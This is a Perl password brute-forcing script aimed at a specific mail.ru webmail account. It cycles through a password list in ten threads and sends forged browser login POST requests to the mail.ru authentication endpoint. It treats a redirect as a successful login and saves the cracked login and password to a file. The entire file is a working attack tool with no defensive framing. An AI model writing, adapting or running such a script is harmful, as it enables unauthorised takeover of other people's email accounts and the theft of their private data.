#!/usr/bin/perl -w
use IO::Socket; 
use threads;

#####
$threads = 10;
$login = "shock.world";  
$domain = "inbox.ru";  
#####

open(PASS, "<pass.txt");
open(GOOD, ">>good.txt");
@p = <PASS>;
$hostname = "win.mail.ru";   
$path = "/cgi-bin/auth"; 

sub brut( $ ) {
    my $c = $_[0];
    
    for(my $i=$c;$i<scalar(@p);$i+=$threads)
    {
        my $pass = $p[$i];
        $pass =~ s/[\r\n]+$//;
        
        $connect = IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>$hostname, PeerPort=>"80") or die("Connection problems."); 
        
        $data = "Login=$login&Domain=$domain&Password=$pass&page=1&post=1&login_from=1"; # отправляемые даные!  
        $post = "POST $path HTTP/1.1\r\n".   
            "Host: $hostname\r\n".
            "Connection: close\r\n".
            "User-Agent: Opera/9.63 (Windows NT 6.0; U; en)\r\n".
            "Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,* /*;q=0.5\r\n".
            "Accept-Language: en-us,en;q=0.5\r\n".
            "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n".
            "Referer: $hostname\r\n".
            "Content-Type: application/x-www-form-urlencoded\r\n".
            "Content-Length: ".length($data)."\r\n\r\n".$data;
    
        print $connect $post;

        my $page = ''; 
        while ($answer = <$connect>) {
            if($answer =~ /Location/) {
                print GOOD "$login@$domain:$pass\n";
                die("Pass was bruted: $pass\n");
            }
            $page .= $answer;
            
        }
        close $connect;

        print "Attemt #".($i+1)."\n";
    }
}

my @threadz;

for(0..($threads-1)) {
    push @threadz, threads->create(\&brut,$_);
    sleep(1);
}

for(@threadz) {
    $_->join();
}